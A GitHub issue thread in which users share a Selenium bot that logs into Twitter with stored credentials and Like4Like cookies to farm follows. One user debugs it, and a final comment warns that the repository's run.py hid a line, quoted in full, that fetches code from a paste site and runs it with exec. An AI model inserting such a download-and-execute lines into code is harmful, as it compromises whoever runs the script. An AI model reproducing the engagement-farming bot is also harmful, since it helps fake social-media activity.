Open crocogab opened 1 year ago
Thanks!
If u want il can send u the file patched
Can you share it with me ^^
import json
import time
import pickle
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
import os
from requests import get
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
class AMFBot:
def __init__(self, twitter_user, twitter_pwd):
self.twitter_user = twitter_user
self.twitter_pwd = twitter_pwd
self.options = Options()
self.options.add_argument("--lang=en")
self.options.add_experimental_option(
'excludeSwitches', ['enable-logging'])
self.bot = webdriver.Chrome(service=Service(
ChromeDriverManager().install()), options=self.options)
def open(self):
bot = self.bot
bot.get("https://www.like4like.org/")
bot.maximize_window()
# Load the cookies from the JSON file
cookies = pickle.load(open("cookies.pkl", "rb"))
print(cookies)
# Add the cookies to the non-headless browser
for cookie in cookies:
bot.add_cookie(cookie)
time.sleep(3)
print(bot.get_cookies())
# Refresh the page
bot.refresh()
time.sleep(3)
ed.twtlk()
def twtlk(self):
bot = self.bot
bot.get("https://www.like4like.org/free-twitter-followers.php")
time.sleep(5)
bot.find_element(
By.CSS_SELECTOR, "a[class^='cursor earn_pages_button profile_view_img']").click()
time.sleep(3)
bot.switch_to.window(bot.window_handles[1])
# window
try:
log_btn = WebDriverWait(bot, 20).until(
EC.presence_of_element_located(
(By.XPATH, '//div[@role="button"]//span[text()="Log in"]'))
)
if log_btn.is_displayed():
log_btn.click()
usuario = WebDriverWait(bot, 20).until(
EC.presence_of_element_located(
(By.XPATH, '//input[@type="text"]'))
)
usuario.send_keys(self.twitter_user)
bot.find_element(
By.XPATH, '//div[@role="button"]//span[text()="Next"]').click()
time.sleep(3)
senha = bot.find_element(By.XPATH, "//input[@type='password']")
senha.send_keys(self.twitter_pwd)
bot.find_element(
By.XPATH, '//div[@role="button" and @data-testid="LoginForm_Login_Button"]').click()
follow = WebDriverWait(bot, 20).until(
EC.presence_of_element_located(
(By.XPATH, '//div[@role="button" and @data-testid="confirmationSheetConfirm"]'))
)
if follow.is_displayed():
follow.click()
time.sleep(5)
else:
follow = bot.find_element(
By.XPATH, '//div[@role="button" and @data-testid="confirmationSheetConfirm"]')
if follow.is_displayed():
follow.click()
time.sleep(5)
except bot.NoSuchElementException:
bot.close()
bot.switch_to.window(bot.window_handles[0])
time.sleep(5)
bot.get("https://www.like4like.org/free-twitter-followers.php")
ed.twttwo()
# window
bot.close()
bot.switch_to.window(bot.window_handles[0])
time.sleep(3)
ed.twttwo()
def twttwo(self):
bot = self.bot
confirm = bot.find_element(
By.CSS_SELECTOR, "a[class^='cursor pulse-checkBox']")
if confirm.is_displayed():
confirm.click()
time.sleep(3)
bot.find_element(
By.CSS_SELECTOR, "a[class^='cursor earn_pages_button profile_view_img']").click()
bot.switch_to.window(bot.window_handles[1])
# window
else:
bot.find_element(
By.CSS_SELECTOR, "a[class^='cursor earn_pages_button profile_view_img']").click()
bot.switch_to.window(bot.window_handles[1])
time.sleep(5)
# window
try:
follow = WebDriverWait(bot, 20).until(
EC.presence_of_element_located(
(By.XPATH, '//div[@role="button" and @data-testid="confirmationSheetConfirm"]'))
)
if follow.is_displayed():
follow.click()
time.sleep(5)
except bot.NoSuchElementException:
bot.close()
bot.switch_to.window(bot.window_handles[0])
time.sleep(3)
bot.get("https://www.like4like.org/free-twitter-followers.php")
ed.twttwo()
# window
bot.close()
bot.switch_to.window(bot.window_handles[0])
time.sleep(3)
ed.twttwo()
ed = AMFBot('username', 'password') # username and password of the twitter account
ed.open()
You have to create a file cookies.pkl that cotain your Like4Like cookies
import json import time import pickle from selenium.webdriver.chrome.service import Service from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait import os from requests import get from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By class AMFBot: def __init__(self, twitter_user, twitter_pwd): self.twitter_user = twitter_user self.twitter_pwd = twitter_pwd self.options = Options() self.options.add_argument("--lang=en") self.options.add_experimental_option( 'excludeSwitches', ['enable-logging']) self.bot = webdriver.Chrome(service=Service( ChromeDriverManager().install()), options=self.options) def open(self): bot = self.bot bot.get("https://www.like4like.org/") bot.maximize_window() # Load the cookies from the JSON file cookies = pickle.load(open("cookies.pkl", "rb")) print(cookies) # Add the cookies to the non-headless browser for cookie in cookies: bot.add_cookie(cookie) time.sleep(3) print(bot.get_cookies()) # Refresh the page bot.refresh() time.sleep(3) ed.twtlk() def twtlk(self): bot = self.bot bot.get("https://www.like4like.org/free-twitter-followers.php") time.sleep(5) bot.find_element( By.CSS_SELECTOR, "a[class^='cursor earn_pages_button profile_view_img']").click() time.sleep(3) bot.switch_to.window(bot.window_handles[1]) # window try: log_btn = WebDriverWait(bot, 20).until( EC.presence_of_element_located( (By.XPATH, '//div[@role="button"]//span[text()="Log in"]')) ) if log_btn.is_displayed(): log_btn.click() usuario = WebDriverWait(bot, 20).until( EC.presence_of_element_located( (By.XPATH, '//input[@type="text"]')) ) usuario.send_keys(self.twitter_user) bot.find_element( By.XPATH, '//div[@role="button"]//span[text()="Next"]').click() time.sleep(3) senha = bot.find_element(By.XPATH, "//input[@type='password']") senha.send_keys(self.twitter_pwd) bot.find_element( By.XPATH, '//div[@role="button" and @data-testid="LoginForm_Login_Button"]').click() follow = WebDriverWait(bot, 20).until( EC.presence_of_element_located( (By.XPATH, '//div[@role="button" and @data-testid="confirmationSheetConfirm"]')) ) if follow.is_displayed(): follow.click() time.sleep(5) else: follow = bot.find_element( By.XPATH, '//div[@role="button" and @data-testid="confirmationSheetConfirm"]') if follow.is_displayed(): follow.click() time.sleep(5) except bot.NoSuchElementException: bot.close() bot.switch_to.window(bot.window_handles[0]) time.sleep(5) bot.get("https://www.like4like.org/free-twitter-followers.php") ed.twttwo() # window bot.close() bot.switch_to.window(bot.window_handles[0]) time.sleep(3) ed.twttwo() def twttwo(self): bot = self.bot confirm = bot.find_element( By.CSS_SELECTOR, "a[class^='cursor pulse-checkBox']") if confirm.is_displayed(): confirm.click() time.sleep(3) bot.find_element( By.CSS_SELECTOR, "a[class^='cursor earn_pages_button profile_view_img']").click() bot.switch_to.window(bot.window_handles[1]) # window else: bot.find_element( By.CSS_SELECTOR, "a[class^='cursor earn_pages_button profile_view_img']").click() bot.switch_to.window(bot.window_handles[1]) time.sleep(5) # window try: follow = WebDriverWait(bot, 20).until( EC.presence_of_element_located( (By.XPATH, '//div[@role="button" and @data-testid="confirmationSheetConfirm"]')) ) if follow.is_displayed(): follow.click() time.sleep(5) except bot.NoSuchElementException: bot.close() bot.switch_to.window(bot.window_handles[0]) time.sleep(3) bot.get("https://www.like4like.org/free-twitter-followers.php") ed.twttwo() # window bot.close() bot.switch_to.window(bot.window_handles[0]) time.sleep(3) ed.twttwo() ed = AMFBot('username', 'password') # username and password of the twitter account ed.open()
You have to create a file cookies.pkl that cotain your Like4Like cookies
Thanks for the code, everything work except it won't login to Twitter when the login prompt pop-up:
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/Users/c931812/GitHub/LIKE4LIKE-BOT-USING-PYTHON/run.py", line 123, in <module>
ed.open()
File "/Users/c931812/GitHub/LIKE4LIKE-BOT-USING-PYTHON/run.py", line 35, in open
ed.twtlk()
File "/Users/c931812/GitHub/LIKE4LIKE-BOT-USING-PYTHON/run.py", line 72, in twtlk
except bot.NoSuchElementException:
AttributeError: 'WebDriver' object has no attribute 'NoSuchElementException'
Thanks for the update, everything work except it won't login to Twitter when the login prompt pop-up, any ideas how to fix it?
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/Users/c931812/GitHub/LIKE4LIKE-BOT-USING-PYTHON/run.py", line 123, in <module>
ed.open()
File "/Users/c931812/GitHub/LIKE4LIKE-BOT-USING-PYTHON/run.py", line 35, in open
ed.twtlk()
File "/Users/c931812/GitHub/LIKE4LIKE-BOT-USING-PYTHON/run.py", line 72, in twtlk
except bot.NoSuchElementException:
AttributeError: 'WebDriver' object has no attribute 'NoSuchElementException'
I don't have time to patch this now but it just means that webdriver can't find a certain xpath element. It is really easy to patch it just read this : https://selenium-python.readthedocs.io/locating-elements.html And use the developper command to find the xpath Don't hesitate if you need help
care i think there is a malware inside :
x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x)
in line 6 of run.py
u can easly edit the file to avoid it : after minor changes it works